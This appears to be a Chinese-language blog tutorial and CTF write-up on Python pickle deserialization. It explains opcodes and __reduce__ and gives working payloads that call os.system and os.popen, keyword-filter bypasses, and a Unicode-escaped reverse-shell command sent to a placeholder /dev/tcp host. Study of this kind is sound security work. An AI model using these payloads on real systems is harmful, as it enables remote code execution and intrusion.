博客 / 詳情

返回

深扒Pickle反序列化

Pickle反序列化

pickle簡介

  • 與PHP類似,python也有序列化功能以長期儲存內存中的數據。pickle是python下的序列化與反序列化包。

  • python有另一個更原始的序列化包marshal,現在開發時一般使用pickle。

  • 與json相比,pickle以二進制儲存,不易人工閲讀;json可以跨語言,而pickle是Python專用的;pickle能表示python幾乎所有的類型(包括自定義類型),json只能表示一部分內置類型且不能表示自定義類型。

  • pickle實際上可以看作一種獨立的語言,通過對opcode的更改編寫可以執行python代碼、覆蓋變量等操作。直接編寫的opcode靈活性比使用pickle序列化生成的代碼更高,有的代碼不能通過pickle序列化得到(pickle解析能力大於pickle生成能力)。

  • 其中這裏有的代碼通常涉及pickle協議中一些底層、特殊或非常規的操作,它們超出了簡單地“保存和恢復對象狀態”的範疇

    • 直接操作棧和變量的底層指令

      pickle 的 opcode 包含了一系列用於操作虛擬機棧(Stack)和內存變量的指令,這些指令在常規序列化中會被高層邏輯自動處理,用户無法直接觸發:

      • 棧操作指令:如 PUSHPOPDUPSWAP 等,用於手動控制棧的內容。
      • 變量操作指令:如 STORE(存儲變量)、LOAD(加載變量)、DELETE(刪除變量)等,可直接修改全局 / 局部變量,而常規序列化只會保存對象屬性,不會主動修改變量。
    • 執行任意代碼的指令

      pickle 包含 REDUCEGLOBALINST 等指令,配合特殊操作可執行任意 Python 代碼,但常規序列化僅會調用對象的 __reduce__ 等方法,不會主動構造惡意或非常規的代碼執行邏輯:

      • 例如,通過 GLOBAL 指令加載 os.system,再通過 CALL 指令執行系統命令,這種操作無法通過序列化普通對象實現。
    • 非常規對象或特殊結構的構造

      對於一些沒有明確 “狀態” 的對象,或需要動態構造的特殊結構,常規序列化無法生成對應的 opcode:

      • 函數 / 類的動態修改:直接修改函數的 __code__ 屬性,或動態創建類的屬性,這類操作需要手動編寫 opcode 實現。
      • 循環引用的特殊處理:雖然 pickle 支持循環引用,但手動編寫 opcode 可更靈活地控制引用的創建順序,這是常規序列化無法做到的。
    • pickle 協議的擴展或未公開指令

      pickle 的不同協議版本包含一些未被高層 API 使用的指令,這些指令只能通過手動編寫 opcode 調用:

      • 例如,Python 3.x 中新增的 FRAMEMEMOIZE 等指令,用於優化序列化效率,但常規序列化不會主動使用這些底層指令。

object.reduce() 函數

  • 在開發時,可以通過重寫類的 object.__reduce__() 函數,使之在被實例化時按照重寫的方式進行。具體而言,python要求 object.__reduce__() 返回一個 (callable, ([para1,para2...])[,...]) 的元組,每當該類的對象被unpickle時,該callable就會被調用以生成對象(該callable其實是構造函數)。
  • 在下文pickle的opcode中, R 的作用與 object.__reduce__() 關係密切:選擇棧上的第一個對象作為函數、第二個對象作為參數(第二個對象必須為元組),然後調用該函數。其實 R 正好對應 object.__reduce__() 函數, object.__reduce__() 的返回值會作為 R 的作用對象,當包含該函數的對象被pickle序列化時,得到的字符串是包含了 R 的。

什麼是opcode

python的opcode是一組原始指令,用於在python解釋器中執行字節碼。每個opcode都是一個標識符,代表一種特定的操作或指令。
在python中,源代碼首先被破譯為字節碼,然後由解釋器逐條執行字節碼執行字節碼指令。這些指令以opcode的形式存儲在字節碼對象中,並由python解釋器按順序解釋和執行。
每個opcode都有其特定的功能,用於執行不同的操作,例如變量加載、函數調用、數值運算、控制流程等。python提供了大量的opcode,以支持各種操作和語言特性。

INST i、OBJO、REDUCER都可以調用一個callable對象

pickle由於有不同的實現版本,在py3和py2中得到的opcode不相同。但是pickle可以向下兼容(所以用v0就可以在所有版本中執行)。

import pickle

a={'1': 1, '2': 2}

print(f'# 原變量:{a!r}')
for i in range(6):
    print(f'pickle版本{i}',pickle.dumps(a,protocol=i))

image-20251123223701776

pickle3版本的opcode示例:

# 'abcd'
b'\x80\x03X\x04\x00\x00\x00abcdq\x00.'

# \x80:協議頭聲明 \x03:協議版本
# \x04\x00\x00\x00:數據長度:4
# abcd:數據
# q:儲存棧頂的字符串長度:一個字節(即\x00)
# \x00:棧頂位置
# .:數據截止

pickletools

使用pickletools可以方便的將opcode轉化為便於肉眼讀取的形式

import pickletools

data=b"\x80\x03cbuiltins\nexec\nq\x00X\x13\x00\x00\x00key1=b'1'\nkey2=b'2'q\x01\x85q\x02Rq\x03."
pickletools.dis(data)

image-20251123225547712

pickle exp的簡單demo

這裏舉一道CTF例子

[第十五屆極客大挑戰]ez_python

import base64
import pickle
from flask import Flask, request

app = Flask(__name__)

@app.route('/')
def index():
    with open('app.py', 'r') as f:
        return f.read()

@app.route('/calc', methods=['GET'])
def getFlag():
    payload = request.args.get("payload")
    pickle.loads(base64.b64decode(payload).replace(b'os', b''))
    return "ganbadie!"

@app.route('/readFile', methods=['GET'])
def readFile():
    filename = request.args.get('filename').replace("flag", "????")
    with open(filename, 'r') as f:
        return f.read()

if __name__ == '__main__':
    app.run(host='0.0.0.0')

calc路由:使用 pickle.loads 嘗試反序列化處理後的字節串。如果這個字節串不是合法的序列化對象,或者在反序列化過程中出現問題,可能會引發錯誤。

readFile路由:打開這個文件名對應的文件進行讀取,並將文件內容返回給客户端。如果文件名不合法或者文件不存在,可能會引發錯誤。

#exp
import os
import pickle
import base64
class A():
    def __reduce__(self):
      #return (eval,("__import__('o'+'s').popen('ls / | tee a').read()",))
      return (eval,("__import__('o'+'s').popen('env | tee a').read()",))
a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

除了執行命令之外還可以進行變量覆蓋

import pickle

key1 = b'321'
key2 = b'123'
class A(object):
    def __reduce__(self):
        return (exec,("key1=b'1'\nkey2=b'2'",))

a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
print(key1, key2)

image-20251123230606183

基於opcode繞過字節碼過濾

對於一些題會對傳入的數據進行過濾

例如

1.if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code

2.a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes") if b'R' in a or b'i' in a or b'o' in a or b'b' in a:

這個時候考慮用用到opcode
Python中的pickle更像一門編程語言,一種基於棧的虛擬機

如何手寫opcode

  • 在CTF中,很多時候需要一次執行多個函數或一次進行多個指令,此時就不能光用 __reduce__ 來解決問題(reduce一次只能執行一個函數,當exec被禁用時,就不能一次執行多條指令了),而需要手動拼接或構造opcode了。手寫opcode是pickle反序列化比較難的地方。
  • 在這裏可以體會到為何pickle是一種語言,直接編寫的opcode靈活性比使用pickle序列化生成的代碼更高,只要符合pickle語法,就可以進行變量覆蓋、函數執行等操作。
  • 根據前文不同版本的opcode可以看出,版本0的opcode更方便閲讀,所以手動編寫時,一般選用版本0的opcode。

這裏列舉了幾個opcode,更多的可以去https://github.com/python/cpython/blob/master/Lib/pickle.py#L111

opcode 描述 具體寫法 棧上的變化 memo上的變化
c 獲取一個全局對象或import一個模塊(注:會調用import語句,能夠引入新的包) c[module]\n[instance]\n 獲得的對象入棧
o 尋找棧中的上一個MARK,以之間的第一個數據(必須為函數)為callable,第二個到第n個數據為參數,執行該函數(或實例化一個對象) o 這個過程中涉及到的數據都出棧,函數的返回值(或生成的對象)入棧
i 相當於c和o的組合,先獲取一個全局函數,然後尋找棧中的上一個MARK,並組合之間的數據為元組,以該元組為參數執行全局函數(或實例化一個對象) i[module]\n[callable]\n 這個過程中涉及到的數據都出棧,函數返回值(或生成的對象)入棧
N 實例化一個None N 獲得的對象入棧
S 實例化一個字符串對象 S'xxx'\n(也可以使用雙引號、'等python字符串形式) 獲得的對象入棧
V 實例化一個UNICODE字符串對象 Vxxx\n 獲得的對象入棧
I 實例化一個int對象 Ixxx\n 獲得的對象入棧
F 實例化一個float對象 Fx.x\n 獲得的對象入棧
R 選擇棧上的第一個對象作為函數、第二個對象作為參數(第二個對象必須為元組),然後調用該函數 R 函數和參數出棧,函數的返回值入棧
. 程序結束,棧頂的一個元素作為pickle.loads()的返回值 .
( 向棧中壓入一個MARK標記 ( MARK標記入棧
t 尋找棧中的上一個MARK,並組合之間的數據為元組 t MARK標記以及被組合的數據出棧,獲得的對象入棧
) 向棧中直接壓入一個空元組 ) 空元組入棧
l 尋找棧中的上一個MARK,並組合之間的數據為列表 l MARK標記以及被組合的數據出棧,獲得的對象入棧
] 向棧中直接壓入一個空列表 ] 空列表入棧
d 尋找棧中的上一個MARK,並組合之間的數據為字典(數據必須有偶數個,即呈key-value對) d MARK標記以及被組合的數據出棧,獲得的對象入棧
} 向棧中直接壓入一個空字典 } 空字典入棧
p 將棧頂對象儲存至memo_n pn\n 對象被儲存
g 將memo_n的對象壓棧 gn\n 對象被壓棧
0 丟棄棧頂對象 0 棧頂對象被丟棄
b 使用棧中的第一個元素(儲存多個屬性名: 屬性值的字典)對第二個元素(對象實例)進行屬性設置 b 棧上第一個元素出棧
s 將棧的第一個和第二個對象作為key-value對,添加或更新到棧的第三個對象(必須為列表或字典,列表以數字作為key)中 s 第一、二個元素出棧,第三個元素(列表或字典)添加新值或被更新
u 尋找棧中的上一個MARK,組合之間的數據(數據必須有偶數個,即呈key-value對)並全部添加或更新到該MARK之前的一個元素(必須為字典)中 u MARK標記以及被組合的數據出棧,字典被更新
a 將棧的第一個元素append到第二個元素(列表)中 a 棧頂元素出棧,第二個元素(列表)被更新
e 尋找棧中的上一個MARK,組合之間的數據並extends到該MARK之前的一個元素(必須為列表)中 e MARK標記以及被組合的數據出棧,列表被更新

對於做題而言會opache改寫就行了

INST i、OBJ o、REDUCE R 都可以調用一個 callable 對象

RCE demo:

R:
b'''cos\nsystem\n(S'whoami'\ntR.'''

c:獲取全局對象指令。格式為 c[模塊]\n[對象]\n,這裏是加載 os 模塊的 system 函數。
(:壓入 MARK 標記。
S'whoami':壓入字符串 'whoami' 作為參數。
t:構建元組(將 MARK 到當前位置的元素打包成元組)。
R:調用指令(REDUCE),執行棧頂的可調用對象(os.system)並傳入元組參數。
.:結束,返回結果。


i
b'''(S'whoami'\nios\nsystem\n.'''
(:壓入 MARK 標記。
S'whoami':壓入參數 'whoami'。
i:實例化指令(INST),需要棧頂是類 / 函數,其下是參數。
os\nsystem:加載 os.system 函數(作為可調用對象)。
.:結束,執行函數調用。


o
b'''(cos\nsystem\nS'whoami'\no.'''
o:調用指令(OBJECT),找到 MARK 標記,將 MARK 後的第一個元素作為可調用對象,後續作為參數執行調用。
 
無R,i,o os可過
b'''(cos\nsystem\nS'calc'\nos.'''


無R,i,o os 可過  + 關鍵詞過濾
b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nVcalc\nos.'''
V操作碼是可以識別\u (unicode編碼繞過)
特別是命令有特殊功能字符

這裏有一個坑 \n是換行如果用賽博廚子 會將 \n 當作字符處理,易出錯,所以要用python處理

import base64
opcode=b''''''
print(base64.b64encode(opcode))

例題

import base64
import pickle
from flask import Flask, session
import os
import random

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()

@app.route('/')
def hello_world():
    if not session.get('user'):
        session['user'] = ''.join(random.choices("admin", k=5))
    return 'Hello {}!'.format(session['user'])


@app.route('/admin')
def admin():
    if session.get('user') != "admin":
        return f"<script>alert('Access Denied');window.location.href='/'</script>"
    else:
        try:
            a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
            if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
                raise pickle.UnpicklingError("R i o b is forbidden")
            pickle.loads(base64.b64decode(session.get('ser_data')))
            return "ok"
        except:
            return "error!"


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

審計就不説,前面也就是去爆破一下key,通過flask-unsign去偽造一下admin的cookie

重點看pickle反序列化部分

try:
    a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
    if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
        raise pickle.UnpicklingError("R i o b is forbidden")
    pickle.loads(base64.b64decode(session.get('ser_data')))
    return "ok"
except:
    return "error!"

首先將opcode進行關鍵字替換,然後base64解碼賦值給a;接着進行if判斷Riob是否存在a中,然後進行pickle反序列化

這裏雖然禁用操作符使得難以繞過,但是waf存在邏輯漏洞,也就是説pickle的對象是ser_data,而不是a,所以我們opcode中有os雖然會被替換為Os,但是我們還是能執行opcode

然後這裏用到的是前面的無R,i,o os 可過 + 關鍵詞過濾

import pickletools

data=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nVcalc\nos.'''
pickletools.dis(data)

image-20251123234151629

然後我們打算進行反彈shell,反彈shell中需要用到i參數,而i參數會被檢測,但是V操作碼是可以識別\u的所以我們可以把我們的代碼進行Unicode編碼然後放入payload中

image-20251123234347791

\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0027\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0078\u0078\u002e\u0078\u0078\u002e\u0078\u0078\u002e\u0078\u0078\u002f\u0078\u0078\u0078\u0078\u0020\u0030\u003e\u0026\u0031\u0027

import pickletools

data=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nV\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0027\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0078\u0078\u002e\u0078\u0078\u002e\u0078\u0078\u002e\u0078\u0078\u002f\u0078\u0078\u0078\u0078\u0020\u0030\u003e\u0026\u0031\u0027\nos.'''
pickletools.dis(data)

image-20251123234457018

可以看到雖然用了Unicode編碼,但還是被解析了。

當然這裏要改成自己服務器的ip和端口

構造完opcode之後那就可以去偽造cookie了,偽造部分就不説了,之後再/admin改包就可以反彈shell了。

pker工具

補充一個工具

https://github.com/eddieivan01/pker

GLOBAL
對應opcode:b’c’
獲取module下的一個全局對象(沒有import的也可以,比如下面的os):
GLOBAL(‘os’, ‘system’)
輸入:module,instance(callable、module都是instance)

INST
對應opcode:b’i’
建立併入棧一個對象(可以執行一個函數):
INST(‘os’, ‘system’, ‘ls’)
輸入:module,callable,para

OBJ
對應opcode:b’o’
建立併入棧一個對象(傳入的第一個參數為callable,可以執行一個函數)):
OBJ(GLOBAL(‘os’, ‘system’), ‘ls’)
輸入:callable,para

xxx(xx,…)
對應opcode:b’R’
使用參數xx調用函數xxx(先將函數入棧,再將參數入棧並調用)

li[0]=321
或
globals_dic[‘local_var’]=‘hello’
對應opcode:b’s’
更新列表或字典的某項的值

xx.attr=123
對應opcode:b’b’
對xx對象進行屬性設置

return
對應opcode:b’0’
出棧(作為pickle.loads函數的返回值):
return xxx # 注意,一次只能返回一個對象或不返回對象(就算用逗號隔開,最後也只返回一個元組)

參考資料:

https://xz.aliyun.com/news/7032#toc-11

https://www.anquanke.com/post/id/188981

user avatar
0 位用戶收藏了這個故事!

發佈 評論

Some HTML is okay.